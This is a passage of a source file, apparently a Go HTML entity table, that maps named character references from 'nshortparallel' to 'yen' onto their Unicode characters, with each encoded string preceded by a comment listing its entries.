			// nshortparallel;[∦] nsubseteqq;[⫅̸] nsupseteqq;[⫆̸] nshortmid;[∤] nsubseteq;[⊈] nsupseteq;[⊉] nsqsube;[⋢] nsqsupe;[⋣] nsubset;[⊂⃒] nsucceq;[⪰̸] nsupset;[⊃⃒] nsccue;[⋡] nsimeq;[≄] nsime;[≄] nsmid;[∤] nspar;[∦] nsubE;[⫅̸] nsube;[⊈] nsucc;[⊁] nsupE;[⫆̸] nsupe;[⊉] nsce;[⪰̸] nscr;[𝓃] nsim;[≁] nsub;[⊄] nsup;[⊅] nsc;[⊁].
			"\x0dhortparallel;\x03∦\x09ubseteqq;\x05⫅̸\x09upseteqq;\x05⫆̸\x08hortmid;\x03∤\x08ubseteq;\x03⊈\x08upseteq;\x03⊉\x06qsube;\x03⋢\x06qsupe;\x03⋣\x06ubset;\x06⊂⃒\x06ucceq;\x05⪰̸\x06upset;\x06⊃⃒\x05ccue;\x03⋡\x05imeq;\x03≄\x04ime;\x03≄\x04mid;\x03∤\x04par;\x03∦\x04ubE;\x05⫅̸\x04ube;\x03⊈\x04ucc;\x03⊁\x04upE;\x05⫆̸\x04upe;\x03⊉\x03ce;\x05⪰̸\x03cr;\x04𝓃\x03im;\x03≁\x03ub;\x03⊄\x03up;\x03⊅\x02c;\x03⊁",
			// ntrianglerighteq;[⋭] ntrianglelefteq;[⋬] ntriangleright;[⋫] ntriangleleft;[⋪] ntilde;[ñ] ntilde[ñ] ntgl;[≹] ntlg;[≸].
			"\x0frianglerighteq;\x03⋭\x0erianglelefteq;\x03⋬\x0driangleright;\x03⋫\x0criangleleft;\x03⋪\x05ilde;\x02ñ\x04ilde\x02ñ\x03gl;\x03≹\x03lg;\x03≸",
			// numero;[№] numsp;[ ] num;[#] nu;[ν].
			"\x05mero;\x03№\x04msp;\x03 \x02m;\x01#\x01;\x02ν",
			// nvinfin;[⧞] nvltrie;[⊴⃒] nvrtrie;[⊵⃒] nvDash;[⊭] nvHarr;[⤄] nvdash;[⊬] nvlArr;[⤂] nvrArr;[⤃] nvsim;[∼⃒] nvap;[≍⃒] nvge;[≥⃒] nvgt;[>⃒] nvle;[≤⃒] nvlt;[<⃒].
			"\x06infin;\x03⧞\x06ltrie;\x06⊴⃒\x06rtrie;\x06⊵⃒\x05Dash;\x03⊭\x05Harr;\x03⤄\x05dash;\x03⊬\x05lArr;\x03⤂\x05rArr;\x03⤃\x04sim;\x06∼⃒\x03ap;\x06≍⃒\x03ge;\x06≥⃒\x03gt;\x04>⃒\x03le;\x06≤⃒\x03lt;\x04<⃒",
			// nwarrow;[↖] nwarhk;[⤣] nwnear;[⤧] nwArr;[⇖] nwarr;[↖].
			"\x06arrow;\x03↖\x05arhk;\x03⤣\x05near;\x03⤧\x04Arr;\x03⇖\x04arr;\x03↖",
			// oS;[Ⓢ].
			"\x01;\x03Ⓢ",
			// oacute;[ó] oacute[ó] oast;[⊛].
			"\x05cute;\x02ó\x04cute\x02ó\x03st;\x03⊛",
			// ocirc;[ô] ocir;[⊚] ocirc[ô] ocy;[о].
			"\x04irc;\x02ô\x03ir;\x03⊚\x03irc\x02ô\x02y;\x02о",
			// odblac;[ő] odsold;[⦼] odash;[⊝] odiv;[⨸] odot;[⊙].
			"\x05blac;\x02ő\x05sold;\x03⦼\x04ash;\x03⊝\x03iv;\x03⨸\x03ot;\x03⊙",
			// oelig;[œ].
			"\x04lig;\x02œ",
			// ofcir;[⦿] ofr;[𝔬].
			"\x04cir;\x03⦿\x02r;\x04𝔬",
			// ograve;[ò] ograve[ò] ogon;[˛] ogt;[⧁].
			"\x05rave;\x02ò\x04rave\x02ò\x03on;\x02˛\x02t;\x03⧁",
			// ohbar;[⦵] ohm;[Ω].
			"\x04bar;\x03⦵\x02m;\x02Ω",
			// oint;[∮].
			"\x03nt;\x03∮",
			// olcross;[⦻] olarr;[↺] olcir;[⦾] oline;[‾] olt;[⧀].
			"\x06cross;\x03⦻\x04arr;\x03↺\x04cir;\x03⦾\x04ine;\x03‾\x02t;\x03⧀",
			// omicron;[ο] ominus;[⊖] omacr;[ō] omega;[ω] omid;[⦶].
			"\x06icron;\x02ο\x05inus;\x03⊖\x04acr;\x02ō\x04ega;\x02ω\x03id;\x03⦶",
			// oopf;[𝕠].
			"\x03pf;\x04𝕠",
			// operp;[⦹] oplus;[⊕] opar;[⦷].
			"\x04erp;\x03⦹\x04lus;\x03⊕\x03ar;\x03⦷",
			// orderof;[ℴ] orslope;[⩗] origof;[⊶] orarr;[↻] order;[ℴ] ordf;[ª] ordm;[º] oror;[⩖] ord;[⩝] ordf[ª] ordm[º] orv;[⩛] or;[∨].
			"\x06derof;\x03ℴ\x06slope;\x03⩗\x05igof;\x03⊶\x04arr;\x03↻\x04der;\x03ℴ\x03df;\x02ª\x03dm;\x02º\x03or;\x03⩖\x02d;\x03⩝\x02df\x02ª\x02dm\x02º\x02v;\x03⩛\x01;\x03∨",
			// oslash;[ø] oslash[ø] oscr;[ℴ] osol;[⊘].
			"\x05lash;\x02ø\x04lash\x02ø\x03cr;\x03ℴ\x03ol;\x03⊘",
			// otimesas;[⨶] otilde;[õ] otimes;[⊗] otilde[õ].
			"\x07imesas;\x03⨶\x05ilde;\x02õ\x05imes;\x03⊗\x04ilde\x02õ",
			// ouml;[ö] ouml[ö].
			"\x03ml;\x02ö\x02ml\x02ö",
			// ovbar;[⌽].
			"\x04bar;\x03⌽",
			// parallel;[∥] parsim;[⫳] parsl;[⫽] para;[¶] part;[∂] par;[∥] para[¶].
			"\x07rallel;\x03∥\x05rsim;\x03⫳\x04rsl;\x03⫽\x03ra;\x02¶\x03rt;\x03∂\x02r;\x03∥\x02ra\x02¶",
			// pcy;[п].
			"\x02y;\x02п",
			// pertenk;[‱] percnt;[%] period;[.] permil;[‰] perp;[⊥].
			"\x06rtenk;\x03‱\x05rcnt;\x01%\x05riod;\x01.\x05rmil;\x03‰\x03rp;\x03⊥",
			// pfr;[𝔭].
			"\x02r;\x04𝔭",
			// phmmat;[ℳ] phone;[☎] phiv;[ϕ] phi;[φ].
			"\x05mmat;\x03ℳ\x04one;\x03☎\x03iv;\x02ϕ\x02i;\x02φ",
			// pitchfork;[⋔] piv;[ϖ] pi;[π].
			"\x08tchfork;\x03⋔\x02v;\x02ϖ\x01;\x02π",
			// plusacir;[⨣] planckh;[ℎ] pluscir;[⨢] plussim;[⨦] plustwo;[⨧] planck;[ℏ] plankv;[ℏ] plusdo;[∔] plusdu;[⨥] plusmn;[±] plusb;[⊞] pluse;[⩲] plusmn[±] plus;[+].
			"\x07usacir;\x03⨣\x06anckh;\x03ℎ\x06uscir;\x03⨢\x06ussim;\x03⨦\x06ustwo;\x03⨧\x05anck;\x03ℏ\x05ankv;\x03ℏ\x05usdo;\x03∔\x05usdu;\x03⨥\x05usmn;\x02±\x04usb;\x03⊞\x04use;\x03⩲\x04usmn\x02±\x03us;\x01+",
			// pm;[±].
			"\x01;\x02±",
			// pointint;[⨕] pound;[£] popf;[𝕡] pound[£].
			"\x07intint;\x03⨕\x04und;\x02£\x03pf;\x04𝕡\x03und\x02£",
			// preccurlyeq;[≼] precnapprox;[⪹] precapprox;[⪷] precneqq;[⪵] precnsim;[⋨] profalar;[⌮] profline;[⌒] profsurf;[⌓] precsim;[≾] preceq;[⪯] primes;[ℙ] prnsim;[⋨] propto;[∝] prurel;[⊰] prcue;[≼] prime;[′] prnap;[⪹] prsim;[≾] prap;[⪷] prec;[≺] prnE;[⪵] prod;[∏] prop;[∝] prE;[⪳] pre;[⪯] pr;[≺].
			"\x0aeccurlyeq;\x03≼\x0aecnapprox;\x03⪹\x09ecapprox;\x03⪷\x07ecneqq;\x03⪵\x07ecnsim;\x03⋨\x07ofalar;\x03⌮\x07ofline;\x03⌒\x07ofsurf;\x03⌓\x06ecsim;\x03≾\x05eceq;\x03⪯\x05imes;\x03ℙ\x05nsim;\x03⋨\x05opto;\x03∝\x05urel;\x03⊰\x04cue;\x03≼\x04ime;\x03′\x04nap;\x03⪹\x04sim;\x03≾\x03ap;\x03⪷\x03ec;\x03≺\x03nE;\x03⪵\x03od;\x03∏\x03op;\x03∝\x02E;\x03⪳\x02e;\x03⪯\x01;\x03≺",
			// pscr;[𝓅] psi;[ψ].
			"\x03cr;\x04𝓅\x02i;\x02ψ",
			// puncsp;[ ].
			"\x05ncsp;\x03 ",
			// qfr;[𝔮].
			"\x02r;\x04𝔮",
			// qint;[⨌].
			"\x03nt;\x03⨌",
			// qopf;[𝕢].
			"\x03pf;\x04𝕢",
			// qprime;[⁗].
			"\x05rime;\x03⁗",
			// qscr;[𝓆].
			"\x03cr;\x04𝓆",
			// quaternions;[ℍ] quatint;[⨖] questeq;[≟] quest;[?] quot;[\"] quot[\"].
			"\x0aaternions;\x03ℍ\x06atint;\x03⨖\x06esteq;\x03≟\x04est;\x01?\x03ot;\x01\"\x02ot\x01\"",
			// rAtail;[⤜] rAarr;[⇛] rArr;[⇒].
			"\x05tail;\x03⤜\x04arr;\x03⇛\x03rr;\x03⇒",
			// rBarr;[⤏].
			"\x04arr;\x03⤏",
			// rHar;[⥤].
			"\x03ar;\x03⥤",
			// rationals;[ℚ] raemptyv;[⦳] rarrbfs;[⤠] rarrsim;[⥴] racute;[ŕ] rangle;[⟩] rarrap;[⥵] rarrfs;[⤞] rarrhk;[↪] rarrlp;[↬] rarrpl;[⥅] rarrtl;[↣] ratail;[⤚] radic;[√] rangd;[⦒] range;[⦥] raquo;[»] rarrb;[⇥] rarrc;[⤳] rarrw;[↝] ratio;[∶] race;[∽̱] rang;[⟩] raquo[»] rarr;[→].
			"\x08tionals;\x03ℚ\x07emptyv;\x03⦳\x06rrbfs;\x03⤠\x06rrsim;\x03⥴\x05cute;\x02ŕ\x05ngle;\x03⟩\x05rrap;\x03⥵\x05rrfs;\x03⤞\x05rrhk;\x03↪\x05rrlp;\x03↬\x05rrpl;\x03⥅\x05rrtl;\x03↣\x05tail;\x03⤚\x04dic;\x03√\x04ngd;\x03⦒\x04nge;\x03⦥\x04quo;\x02»\x04rrb;\x03⇥\x04rrc;\x03⤳\x04rrw;\x03↝\x04tio;\x03∶\x03ce;\x05∽̱\x03ng;\x03⟩\x03quo\x02»\x03rr;\x03→",
			// rbrksld;[⦎] rbrkslu;[⦐] rbrace;[}] rbrack;[]] rbarr;[⤍] rbbrk;[❳] rbrke;[⦌].
			"\x06rksld;\x03⦎\x06rkslu;\x03⦐\x05race;\x01}\x05rack;\x01]\x04arr;\x03⤍\x04brk;\x03❳\x04rke;\x03⦌",
			// rcaron;[ř] rcedil;[ŗ] rceil;[⌉] rcub;[}] rcy;[р].
			"\x05aron;\x02ř\x05edil;\x02ŗ\x04eil;\x03⌉\x03ub;\x01}\x02y;\x02р",
			// rdldhar;[⥩] rdquor;[”] rdquo;[”] rdca;[⤷] rdsh;[↳].
			"\x06ldhar;\x03⥩\x05quor;\x03”\x04quo;\x03”\x03ca;\x03⤷\x03sh;\x03↳",
			// realpart;[ℜ] realine;[ℛ] reals;[ℝ] real;[ℜ] rect;[▭] reg;[®] reg[®].
			"\x07alpart;\x03ℜ\x06aline;\x03ℛ\x04als;\x03ℝ\x03al;\x03ℜ\x03ct;\x03▭\x02g;\x02®\x01g\x02®",
			// rfisht;[⥽] rfloor;[⌋] rfr;[𝔯].
			"\x05isht;\x03⥽\x05loor;\x03⌋\x02r;\x04𝔯",
			// rharul;[⥬] rhard;[⇁] rharu;[⇀] rhov;[ϱ] rho;[ρ].
			"\x05arul;\x03⥬\x04ard;\x03⇁\x04aru;\x03⇀\x03ov;\x02ϱ\x02o;\x02ρ",
			// rightleftharpoons;[⇌] rightharpoondown;[⇁] rightrightarrows;[⇉] rightleftarrows;[⇄] rightsquigarrow;[↝] rightthreetimes;[⋌] rightarrowtail;[↣] rightharpoonup;[⇀] risingdotseq;[≓] rightarrow;[→] ring;[˚].
			"\x10ghtleftharpoons;\x03⇌\x0fghtharpoondown;\x03⇁\x0fghtrightarrows;\x03⇉\x0eghtleftarrows;\x03⇄\x0eghtsquigarrow;\x03↝\x0eghtthreetimes;\x03⋌\x0dghtarrowtail;\x03↣\x0dghtharpoonup;\x03⇀\x0bsingdotseq;\x03≓\x09ghtarrow;\x03→\x03ng;\x02˚",
			// rlarr;[⇄] rlhar;[⇌] rlm;[‏].
			"\x04arr;\x03⇄\x04har;\x03⇌\x02m;\x03‏",
			// rmoustache;[⎱] rmoust;[⎱].
			"\x09oustache;\x03⎱\x05oust;\x03⎱",
			// rnmid;[⫮].
			"\x04mid;\x03⫮",
			// rotimes;[⨵] roplus;[⨮] roang;[⟭] roarr;[⇾] robrk;[⟧] ropar;[⦆] ropf;[𝕣].
			"\x06times;\x03⨵\x05plus;\x03⨮\x04ang;\x03⟭\x04arr;\x03⇾\x04brk;\x03⟧\x04par;\x03⦆\x03pf;\x04𝕣",
			// rppolint;[⨒] rpargt;[⦔] rpar;[)].
			"\x07polint;\x03⨒\x05argt;\x03⦔\x03ar;\x01)",
			// rrarr;[⇉].
			"\x04arr;\x03⇉",
			// rsaquo;[›] rsquor;[’] rsquo;[’] rscr;[𝓇] rsqb;[]] rsh;[↱].
			"\x05aquo;\x03›\x05quor;\x03’\x04quo;\x03’\x03cr;\x04𝓇\x03qb;\x01]\x02h;\x03↱",
			// rtriltri;[⧎] rthree;[⋌] rtimes;[⋊] rtrie;[⊵] rtrif;[▸] rtri;[▹].
			"\x07riltri;\x03⧎\x05hree;\x03⋌\x05imes;\x03⋊\x04rie;\x03⊵\x04rif;\x03▸\x03ri;\x03▹",
			// ruluhar;[⥨].
			"\x06luhar;\x03⥨",
			// rx;[℞].
			"\x01;\x03℞",
			// sacute;[ś].
			"\x05cute;\x02ś",
			// sbquo;[‚].
			"\x04quo;\x03‚",
			// scpolint;[⨓] scaron;[š] scedil;[ş] scnsim;[⋩] sccue;[≽] scirc;[ŝ] scnap;[⪺] scsim;[≿] scap;[⪸] scnE;[⪶] scE;[⪴] sce;[⪰] scy;[с] sc;[≻].
			"\x07polint;\x03⨓\x05aron;\x02š\x05edil;\x02ş\x05nsim;\x03⋩\x04cue;\x03≽\x04irc;\x02ŝ\x04nap;\x03⪺\x04sim;\x03≿\x03ap;\x03⪸\x03nE;\x03⪶\x02E;\x03⪴\x02e;\x03⪰\x02y;\x02с\x01;\x03≻",
			// sdotb;[⊡] sdote;[⩦] sdot;[⋅].
			"\x04otb;\x03⊡\x04ote;\x03⩦\x03ot;\x03⋅",
			// setminus;[∖] searrow;[↘] searhk;[⤥] seswar;[⤩] seArr;[⇘] searr;[↘] setmn;[∖] sect;[§] semi;[;] sext;[✶] sect[§].
			"\x07tminus;\x03∖\x06arrow;\x03↘\x05arhk;\x03⤥\x05swar;\x03⤩\x04Arr;\x03⇘\x04arr;\x03↘\x04tmn;\x03∖\x03ct;\x02§\x03mi;\x01;\x03xt;\x03✶\x02ct\x02§",
			// sfrown;[⌢] sfr;[𝔰].
			"\x05rown;\x03⌢\x02r;\x04𝔰",
			// shortparallel;[∥] shortmid;[∣] shchcy;[щ] sharp;[♯] shcy;[ш] shy;[­] shy[­].
			"\x0cortparallel;\x03∥\x07ortmid;\x03∣\x05chcy;\x02щ\x04arp;\x03♯\x03cy;\x02ш\x02y;\x02­\x01y\x02­",
			// simplus;[⨤] simrarr;[⥲] sigmaf;[ς] sigmav;[ς] simdot;[⩪] sigma;[σ] simeq;[≃] simgE;[⪠] simlE;[⪟] simne;[≆] sime;[≃] simg;[⪞] siml;[⪝] sim;[∼].
			"\x06mplus;\x03⨤\x06mrarr;\x03⥲\x05gmaf;\x02ς\x05gmav;\x02ς\x05mdot;\x03⩪\x04gma;\x02σ\x04meq;\x03≃\x04mgE;\x03⪠\x04mlE;\x03⪟\x04mne;\x03≆\x03me;\x03≃\x03mg;\x03⪞\x03ml;\x03⪝\x02m;\x03∼",
			// slarr;[←].
			"\x04arr;\x03←",
			// smallsetminus;[∖] smeparsl;[⧤] smashp;[⨳] smile;[⌣] smtes;[⪬︀] smid;[∣] smte;[⪬] smt;[⪪].
			"\x0callsetminus;\x03∖\x07eparsl;\x03⧤\x05ashp;\x03⨳\x04ile;\x03⌣\x04tes;\x06⪬︀\x03id;\x03∣\x03te;\x03⪬\x02t;\x03⪪",
			// softcy;[ь] solbar;[⌿] solb;[⧄] sopf;[𝕤] sol;[/].
			"\x05ftcy;\x02ь\x05lbar;\x03⌿\x03lb;\x03⧄\x03pf;\x04𝕤\x02l;\x01/",
			// spadesuit;[♠] spades;[♠] spar;[∥].
			"\x08adesuit;\x03♠\x05ades;\x03♠\x03ar;\x03∥",
			// sqsubseteq;[⊑] sqsupseteq;[⊒] sqsubset;[⊏] sqsupset;[⊐] sqcaps;[⊓︀] sqcups;[⊔︀] sqsube;[⊑] sqsupe;[⊒] square;[□] squarf;[▪] sqcap;[⊓] sqcup;[⊔] sqsub;[⊏] sqsup;[⊐] squf;[▪] squ;[□].
			"\x09subseteq;\x03⊑\x09supseteq;\x03⊒\x07subset;\x03⊏\x07supset;\x03⊐\x05caps;\x06⊓︀\x05cups;\x06⊔︀\x05sube;\x03⊑\x05supe;\x03⊒\x05uare;\x03□\x05uarf;\x03▪\x04cap;\x03⊓\x04cup;\x03⊔\x04sub;\x03⊏\x04sup;\x03⊐\x03uf;\x03▪\x02u;\x03□",
			// srarr;[→].
			"\x04arr;\x03→",
			// ssetmn;[∖] ssmile;[⌣] sstarf;[⋆] sscr;[𝓈].
			"\x05etmn;\x03∖\x05mile;\x03⌣\x05tarf;\x03⋆\x03cr;\x04𝓈",
			// straightepsilon;[ϵ] straightphi;[ϕ] starf;[★] strns;[¯] star;[☆].
			"\x0eraightepsilon;\x02ϵ\x0araightphi;\x02ϕ\x04arf;\x03★\x04rns;\x02¯\x03ar;\x03☆",
			// succcurlyeq;[≽] succnapprox;[⪺] subsetneqq;[⫋] succapprox;[⪸] supsetneqq;[⫌] subseteqq;[⫅] subsetneq;[⊊] supseteqq;[⫆] supsetneq;[⊋] subseteq;[⊆] succneqq;[⪶] succnsim;[⋩] supseteq;[⊇] subedot;[⫃] submult;[⫁] subplus;[⪿] subrarr;[⥹] succsim;[≿] supdsub;[⫘] supedot;[⫄] suphsol;[⟉] suphsub;[⫗] suplarr;[⥻] supmult;[⫂] supplus;[⫀] subdot;[⪽] subset;[⊂] subsim;[⫇] subsub;[⫕] subsup;[⫓] succeq;[⪰] supdot;[⪾] supset;[⊃] supsim;[⫈] supsub;[⫔] supsup;[⫖] subnE;[⫋] subne;[⊊] supnE;[⫌] supne;[⊋] subE;[⫅] sube;[⊆] succ;[≻] sung;[♪] sup1;[¹] sup2;[²] sup3;[³] supE;[⫆] supe;[⊇] sub;[⊂] sum;[∑] sup1[¹] sup2[²] sup3[³] sup;[⊃].
			"\x0acccurlyeq;\x03≽\x0accnapprox;\x03⪺\x09bsetneqq;\x03⫋\x09ccapprox;\x03⪸\x09psetneqq;\x03⫌\x08bseteqq;\x03⫅\x08bsetneq;\x03⊊\x08pseteqq;\x03⫆\x08psetneq;\x03⊋\x07bseteq;\x03⊆\x07ccneqq;\x03⪶\x07ccnsim;\x03⋩\x07pseteq;\x03⊇\x06bedot;\x03⫃\x06bmult;\x03⫁\x06bplus;\x03⪿\x06brarr;\x03⥹\x06ccsim;\x03≿\x06pdsub;\x03⫘\x06pedot;\x03⫄\x06phsol;\x03⟉\x06phsub;\x03⫗\x06plarr;\x03⥻\x06pmult;\x03⫂\x06pplus;\x03⫀\x05bdot;\x03⪽\x05bset;\x03⊂\x05bsim;\x03⫇\x05bsub;\x03⫕\x05bsup;\x03⫓\x05cceq;\x03⪰\x05pdot;\x03⪾\x05pset;\x03⊃\x05psim;\x03⫈\x05psub;\x03⫔\x05psup;\x03⫖\x04bnE;\x03⫋\x04bne;\x03⊊\x04pnE;\x03⫌\x04pne;\x03⊋\x03bE;\x03⫅\x03be;\x03⊆\x03cc;\x03≻\x03ng;\x03♪\x03p1;\x02¹\x03p2;\x02²\x03p3;\x02³\x03pE;\x03⫆\x03pe;\x03⊇\x02b;\x03⊂\x02m;\x03∑\x02p1\x02¹\x02p2\x02²\x02p3\x02³\x02p;\x03⊃",
			// swarrow;[↙] swarhk;[⤦] swnwar;[⤪] swArr;[⇙] swarr;[↙].
			"\x06arrow;\x03↙\x05arhk;\x03⤦\x05nwar;\x03⤪\x04Arr;\x03⇙\x04arr;\x03↙",
			// szlig;[ß] szlig[ß].
			"\x04lig;\x02ß\x03lig\x02ß",
			// target;[⌖] tau;[τ].
			"\x05rget;\x03⌖\x02u;\x02τ",
			// tbrk;[⎴].
			"\x03rk;\x03⎴",
			// tcaron;[ť] tcedil;[ţ] tcy;[т].
			"\x05aron;\x02ť\x05edil;\x02ţ\x02y;\x02т",
			// tdot;[⃛].
			"\x03ot;\x03⃛",
			// telrec;[⌕].
			"\x05lrec;\x03⌕",
			// tfr;[𝔱].
			"\x02r;\x04𝔱",
			// thickapprox;[≈] therefore;[∴] thetasym;[ϑ] thicksim;[∼] there4;[∴] thetav;[ϑ] thinsp;[ ] thksim;[∼] theta;[θ] thkap;[≈] thorn;[þ] thorn[þ].
			"\x0aickapprox;\x03≈\x08erefore;\x03∴\x07etasym;\x02ϑ\x07icksim;\x03∼\x05ere4;\x03∴\x05etav;\x02ϑ\x05insp;\x03 \x05ksim;\x03∼\x04eta;\x02θ\x04kap;\x03≈\x04orn;\x02þ\x03orn\x02þ",
			// timesbar;[⨱] timesb;[⊠] timesd;[⨰] tilde;[˜] times;[×] times[×] tint;[∭].
			"\x07mesbar;\x03⨱\x05mesb;\x03⊠\x05mesd;\x03⨰\x04lde;\x02˜\x04mes;\x02×\x03mes\x02×\x03nt;\x03∭",
			// topfork;[⫚] topbot;[⌶] topcir;[⫱] toea;[⤨] topf;[𝕥] tosa;[⤩] top;[⊤].
			"\x06pfork;\x03⫚\x05pbot;\x03⌶\x05pcir;\x03⫱\x03ea;\x03⤨\x03pf;\x04𝕥\x03sa;\x03⤩\x02p;\x03⊤",
			// tprime;[‴].
			"\x05rime;\x03‴",
			// trianglerighteq;[⊵] trianglelefteq;[⊴] triangleright;[▹] triangledown;[▿] triangleleft;[◃] triangleq;[≜] triangle;[▵] triminus;[⨺] trpezium;[⏢] triplus;[⨹] tritime;[⨻] tridot;[◬] trade;[™] trisb;[⧍] trie;[≜].
			"\x0eianglerighteq;\x03⊵\x0dianglelefteq;\x03⊴\x0ciangleright;\x03▹\x0biangledown;\x03▿\x0biangleleft;\x03◃\x08iangleq;\x03≜\x07iangle;\x03▵\x07iminus;\x03⨺\x07pezium;\x03⏢\x06iplus;\x03⨹\x06itime;\x03⨻\x05idot;\x03◬\x04ade;\x03™\x04isb;\x03⧍\x03ie;\x03≜",
			// tstrok;[ŧ] tshcy;[ћ] tscr;[𝓉] tscy;[ц].
			"\x05trok;\x02ŧ\x04hcy;\x02ћ\x03cr;\x04𝓉\x03cy;\x02ц",
			// twoheadrightarrow;[↠] twoheadleftarrow;[↞] twixt;[≬].
			"\x10oheadrightarrow;\x03↠\x0foheadleftarrow;\x03↞\x04ixt;\x03≬",
			// uArr;[⇑].
			"\x03rr;\x03⇑",
			// uHar;[⥣].
			"\x03ar;\x03⥣",
			// uacute;[ú] uacute[ú] uarr;[↑].
			"\x05cute;\x02ú\x04cute\x02ú\x03rr;\x03↑",
			// ubreve;[ŭ] ubrcy;[ў].
			"\x05reve;\x02ŭ\x04rcy;\x02ў",
			// ucirc;[û] ucirc[û] ucy;[у].
			"\x04irc;\x02û\x03irc\x02û\x02y;\x02у",
			// udblac;[ű] udarr;[⇅] udhar;[⥮].
			"\x05blac;\x02ű\x04arr;\x03⇅\x04har;\x03⥮",
			// ufisht;[⥾] ufr;[𝔲].
			"\x05isht;\x03⥾\x02r;\x04𝔲",
			// ugrave;[ù] ugrave[ù].
			"\x05rave;\x02ù\x04rave\x02ù",
			// uharl;[↿] uharr;[↾] uhblk;[▀].
			"\x04arl;\x03↿\x04arr;\x03↾\x04blk;\x03▀",
			// ulcorner;[⌜] ulcorn;[⌜] ulcrop;[⌏] ultri;[◸].
			"\x07corner;\x03⌜\x05corn;\x03⌜\x05crop;\x03⌏\x04tri;\x03◸",
			// umacr;[ū] uml;[¨] uml[¨].
			"\x04acr;\x02ū\x02l;\x02¨\x01l\x02¨",
			// uogon;[ų] uopf;[𝕦].
			"\x04gon;\x02ų\x03pf;\x04𝕦",
			// upharpoonright;[↾] upharpoonleft;[↿] updownarrow;[↕] upuparrows;[⇈] uparrow;[↑] upsilon;[υ] uplus;[⊎] upsih;[ϒ] upsi;[υ].
			"\x0dharpoonright;\x03↾\x0charpoonleft;\x03↿\x0adownarrow;\x03↕\x09uparrows;\x03⇈\x06arrow;\x03↑\x06silon;\x02υ\x04lus;\x03⊎\x04sih;\x02ϒ\x03si;\x02υ",
			// urcorner;[⌝] urcorn;[⌝] urcrop;[⌎] uring;[ů] urtri;[◹].
			"\x07corner;\x03⌝\x05corn;\x03⌝\x05crop;\x03⌎\x04ing;\x02ů\x04tri;\x03◹",
			// uscr;[𝓊].
			"\x03cr;\x04𝓊",
			// utilde;[ũ] utdot;[⋰] utrif;[▴] utri;[▵].
			"\x05ilde;\x02ũ\x04dot;\x03⋰\x04rif;\x03▴\x03ri;\x03▵",
			// uuarr;[⇈] uuml;[ü] uuml[ü].
			"\x04arr;\x03⇈\x03ml;\x02ü\x02ml\x02ü",
			// uwangle;[⦧].
			"\x06angle;\x03⦧",
			// vArr;[⇕].
			"\x03rr;\x03⇕",
			// vBarv;[⫩] vBar;[⫨].
			"\x04arv;\x03⫩\x03ar;\x03⫨",
			// vDash;[⊨].
			"\x04ash;\x03⊨",
			// vartriangleright;[⊳] vartriangleleft;[⊲] varsubsetneqq;[⫋︀] varsupsetneqq;[⫌︀] varsubsetneq;[⊊︀] varsupsetneq;[⊋︀] varepsilon;[ϵ] varnothing;[∅] varpropto;[∝] varkappa;[ϰ] varsigma;[ς] vartheta;[ϑ] vangrt;[⦜] varphi;[ϕ] varrho;[ϱ] varpi;[ϖ] varr;[↕].
			"\x0frtriangleright;\x03⊳\x0ertriangleleft;\x03⊲\x0crsubsetneqq;\x06⫋︀\x0crsupsetneqq;\x06⫌︀\x0brsubsetneq;\x06⊊︀\x0brsupsetneq;\x06⊋︀\x09repsilon;\x02ϵ\x09rnothing;\x03∅\x08rpropto;\x03∝\x07rkappa;\x02ϰ\x07rsigma;\x02ς\x07rtheta;\x02ϑ\x05ngrt;\x03⦜\x05rphi;\x02ϕ\x05rrho;\x02ϱ\x04rpi;\x02ϖ\x03rr;\x03↕",
			// vcy;[в].
			"\x02y;\x02в",
			// vdash;[⊢].
			"\x04ash;\x03⊢",
			// veebar;[⊻] vellip;[⋮] verbar;[|] veeeq;[≚] vert;[|] vee;[∨].
			"\x05ebar;\x03⊻\x05llip;\x03⋮\x05rbar;\x01|\x04eeq;\x03≚\x03rt;\x01|\x02e;\x03∨",
			// vfr;[𝔳].
			"\x02r;\x04𝔳",
			// vltri;[⊲].
			"\x04tri;\x03⊲",
			// vnsub;[⊂⃒] vnsup;[⊃⃒].
			"\x04sub;\x06⊂⃒\x04sup;\x06⊃⃒",
			// vopf;[𝕧].
			"\x03pf;\x04𝕧",
			// vprop;[∝].
			"\x04rop;\x03∝",
			// vrtri;[⊳].
			"\x04tri;\x03⊳",
			// vsubnE;[⫋︀] vsubne;[⊊︀] vsupnE;[⫌︀] vsupne;[⊋︀] vscr;[𝓋].
			"\x05ubnE;\x06⫋︀\x05ubne;\x06⊊︀\x05upnE;\x06⫌︀\x05upne;\x06⊋︀\x03cr;\x04𝓋",
			// vzigzag;[⦚].
			"\x06igzag;\x03⦚",
			// wcirc;[ŵ].
			"\x04irc;\x02ŵ",
			// wedbar;[⩟] wedgeq;[≙] weierp;[℘] wedge;[∧].
			"\x05dbar;\x03⩟\x05dgeq;\x03≙\x05ierp;\x03℘\x04dge;\x03∧",
			// wfr;[𝔴].
			"\x02r;\x04𝔴",
			// wopf;[𝕨].
			"\x03pf;\x04𝕨",
			// wp;[℘].
			"\x01;\x03℘",
			// wreath;[≀] wr;[≀].
			"\x05eath;\x03≀\x01;\x03≀",
			// wscr;[𝓌].
			"\x03cr;\x04𝓌",
			// xcirc;[◯] xcap;[⋂] xcup;[⋃].
			"\x04irc;\x03◯\x03ap;\x03⋂\x03up;\x03⋃",
			// xdtri;[▽].
			"\x04tri;\x03▽",
			// xfr;[𝔵].
			"\x02r;\x04𝔵",
			// xhArr;[⟺] xharr;[⟷].
			"\x04Arr;\x03⟺\x04arr;\x03⟷",
			// xi;[ξ].
			"\x01;\x02ξ",
			// xlArr;[⟸] xlarr;[⟵].
			"\x04Arr;\x03⟸\x04arr;\x03⟵",
			// xmap;[⟼].
			"\x03ap;\x03⟼",
			// xnis;[⋻].
			"\x03is;\x03⋻",
			// xoplus;[⨁] xotime;[⨂] xodot;[⨀] xopf;[𝕩].
			"\x05plus;\x03⨁\x05time;\x03⨂\x04dot;\x03⨀\x03pf;\x04𝕩",
			// xrArr;[⟹] xrarr;[⟶].
			"\x04Arr;\x03⟹\x04arr;\x03⟶",
			// xsqcup;[⨆] xscr;[𝓍].
			"\x05qcup;\x03⨆\x03cr;\x04𝓍",
			// xuplus;[⨄] xutri;[△].
			"\x05plus;\x03⨄\x04tri;\x03△",
			// xvee;[⋁].
			"\x03ee;\x03⋁",
			// xwedge;[⋀].
			"\x05edge;\x03⋀",
			// yacute;[ý] yacute[ý] yacy;[я].
			"\x05cute;\x02ý\x04cute\x02ý\x03cy;\x02я",
			// ycirc;[ŷ] ycy;[ы].
			"\x04irc;\x02ŷ\x02y;\x02ы",
			// yen;[¥] yen[¥].
			"\x02n;\x02¥\x01n\x02¥",
			// yfr;[𝔶].
